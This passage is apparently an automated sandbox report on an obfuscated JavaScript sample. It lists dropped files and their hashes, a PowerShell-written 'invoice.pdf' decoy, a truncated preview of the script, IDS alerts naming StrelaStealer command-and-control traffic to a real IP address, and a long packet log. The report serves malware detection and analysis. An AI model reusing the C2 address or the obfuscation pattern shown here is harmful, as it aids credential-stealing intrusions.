Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\65ad9a5c-0315-4193-8727-00850e51be0f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\895db665-0ecd-4fba-b765-5d7ccb2d27b1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9f76912d-c0ba-4243-86a3-a85f705d5abb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9fd0b505-ab8b-4847-8ef8-bfbeadb14800.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15716), with CRLF line terminators
Entropy (8bit):	4.937830155231565
TrID:
File name:	1238420799116328606.js
File size:	19'263 bytes
MD5:	971a605376e63fe3065404969f1ca5e7
SHA1:	3a9bb9b05d7c8dccc553f2b0771e4e71430c1071
SHA256:	3ae8113edf63fbbf55584eb26b875ef6f733054dd050680beb955b79b2b07971
SHA512:	8b6109d9b45bd845cea6ea9c936d193c15fe6a27a7d0eb3bbe422000aee54536f7d47ba4289d2aa6ecfe95d54a95973910028d06bfe1a3bc4aca4ece6355bbab
SSDEEP:	384:6HGaZsDNVQ3t+ZCK2TRmWCEVmPg4du5n+9kv19RoS9khy2uWYwxISj7:6HGaZsDNVQ3t+ZCK2TXmPg4du5n+9kvw
TLSH:	E682884AC51718AFADF010FF449AE0F9500801099EA58BCF776A4DD9B233E72C9D65BE
File Content Preview:	function xirgajr(){srkzeg=[1031,3079,5127,4103,2055,3072];var xjuxmze=this[cfyyrue+seqkvng+abfevy+jvcczqfxo+shfyhtzc+dctehelc+opigddfg+uoojk](this[zndedlc+baohd+xkhbhzn+abfevy+hjydpbex+cfyyrue+uoojk][quhlvjdd+abfevy+shfyhtzc+seqkvng+uoojk+shfyhtzc+ifokrdf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:06:05.869215+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49706	193.143.1.205	80	TCP
2025-01-11T00:06:05.869215+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49706	193.143.1.205	80	TCP
2025-01-11T00:06:08.240568+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:06:05.052982092 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.057765007 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.057991028 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.060931921 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.065690994 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869147062 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869163036 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869175911 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869194031 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869206905 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869215012 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.869216919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869230032 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869240999 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869259119 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869263887 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.869270086 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.869294882 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.869311094 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.920454979 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.920469046 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.920480013 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.920531034 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.997574091 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.997639894 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.997652054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.997663975 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.997670889 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.997693062 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.997709990 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.998109102 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998120070 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998130083 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998142004 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998143911 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.998161077 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.998735905 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998747110 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998756886 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998769045 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998774052 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.998781919 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.998812914 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.998828888 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.999479055 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.999501944 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.999514103 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.999545097 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:05.999547005 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.999558926 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:05.999579906 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.009202003 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.009212971 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.009238005 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.048953056 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.048964024 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.049010038 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.049040079 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.049074888 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.049083948 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.049115896 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.049150944 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.086206913 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.086219072 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.086267948 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.126224041 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126247883 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126262903 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126291990 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126293898 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.126334906 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.126491070 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126499891 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126527071 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.126643896 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126655102 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126667023 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126682043 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126688004 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.126693964 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.126713991 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.127362013 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127374887 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127384901 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127399921 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127412081 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127417088 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.127424002 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127435923 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.127446890 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.127485991 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.128304958 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128315926 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128328085 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128339052 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128350973 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128355026 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.128361940 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128372908 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.128382921 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.128408909 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.129029989 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129040003 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129053116 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129067898 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129070044 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.129079103 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129090071 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.129090071 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129102945 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.129118919 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.129153013 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.129991055 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130002022 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130012989 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130024910 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130031109 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.130039930 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130050898 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130074024 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.130089998 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130098104 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.130851030 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.130889893 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.137578011 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177685976 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177702904 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177714109 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177735090 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.177750111 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177761078 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177771091 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.177773952 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177784920 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.177810907 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.177829027 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.178069115 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.178095102 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.178137064 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.178149939 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.178162098 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.178194046 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.214904070 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255135059 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255155087 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255167007 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255178928 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255189896 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255192041 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255223036 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255268097 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255291939 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255302906 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255323887 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255342007 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255352974 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255364895 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255377054 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255387068 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255392075 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255414963 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255842924 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255860090 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255872965 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255881071 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255887985 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255901098 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255913973 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255938053 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.255956888 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255968094 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255980968 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.255995035 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256007910 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.256056070 CET	49706	80	192.168.2.7	193.143.1.205
Jan 11, 2025 00:06:06.256678104 CET	80	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 00:06:06.256689072 CET	80	49706	193.143.1.205	192.168.2.7
